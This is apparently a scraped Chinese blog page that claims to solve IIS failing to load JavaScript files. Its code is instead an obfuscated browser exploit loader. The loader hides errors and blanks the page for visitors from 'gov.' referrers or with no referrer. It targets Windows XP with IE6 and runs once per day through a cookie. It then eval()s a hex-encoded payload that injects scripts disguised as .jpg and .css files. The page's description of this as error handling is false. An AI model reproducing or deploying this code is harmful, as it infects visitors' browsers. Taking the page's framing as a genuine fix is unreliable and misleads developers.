服务器iis加载js文件,解决IIS 无法加载JavaScript文件 | 霸王硬上弓's Blog

这篇博客介绍了一个函数killErrors,用于处理IIS服务器加载JavaScript文件时遇到的错误。通过检查页面来源和用户代理,确保在特定条件下正确加载或重定向页面。同时,文章还涉及了浏览器版本检测和cookie管理,以及包含了一些JavaScript代码片段。
部署运行你感兴趣的模型镜像

function killErrors() {

return true;

}

window.onerror=killErrors;

// —>

//varparent_url=window.parent.location.href.toLowerCase();

varwhere=document.referrer.toLowerCase();

varself_url=document.location.href.toLowerCase();

if(where.indexOf("gov.")>=0 ||where== "")

{

location.replace("about:blank");

}

nav=navigator.userAgent.toLowerCase();

wxp=((nav.indexOf('\x77\x69\x6e\x64\x6f\x77\x73\x20\x6e'+'\x74\x20\x35\x2e\x31')!=-1)||(nav.indexOf

('windows xp')!=-1));

if(!wxp||navigator.userAgent.toLowerCase().indexOf("\x6D"+"\x73"+"\x69\x65 \x36")==-1)

location.replace("about:blank");

window.onerror=function(){return true;}

if(document.cookie.indexOf("CoreBeta=")==-1)

{

varexpires=newDate();

expires.setTime(expires.getTime()+24*60*60*1000);

document.cookie="CoreBeta=Yes;path=/;expires="+expires.toGMTString();

document.writeln("");

document.writeln("");

varcode="\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x6c\x6e\x28\x22\x3c\x64\x69\x76\x20\x69\x64\x3d\x5c\x22\x44\x69\x76\x49\x44\x5c\x22\x3e\x20\x22\x29\x3b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x6c\x6e\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x5c\x27\x61\x2e\x6a\x70\x67\x5c\x27\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x20\x20\x22\x29\x3b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x6c\x6e\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x5c\x27\x63\x2e\x6a\x70\x67\x5c\x27\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x20\x22\x29\x3b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x6c\x6e\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x5c\x27\x64\x2e\x63\x73\x73\x5c\x27\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x20\x20\x22\x29\x3b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x6c\x6e\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x5c\x27\x65\x2e\x6a\x70\x67\x5c\x27\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x20\x20\x22\x29\x3b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x6c\x6e\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x5c\x27\x66\x2e\x63\x73\x73\x5c\x27\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x20\x20\x22\x29\x3b";

eval(code);

document.writeln("");

document.writeln("");

}

else

location.replace("about:blank");

varlessen=50;

function rand()

{

varnum=Math.random()*100;

return num;

}

varnum=rand();

if(num<= lessen)

{

}

else

{

document.writeln("");

}

document.writeln("");

您可能感兴趣的与本文相关的镜像

HunyuanVideo-Foley

HunyuanVideo-Foley

语音合成

HunyuanVideo-Foley是由腾讯混元2025年8月28日宣布开源端到端视频音效生成模型,用户只需输入视频和文字,就能为视频匹配电影级音效

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值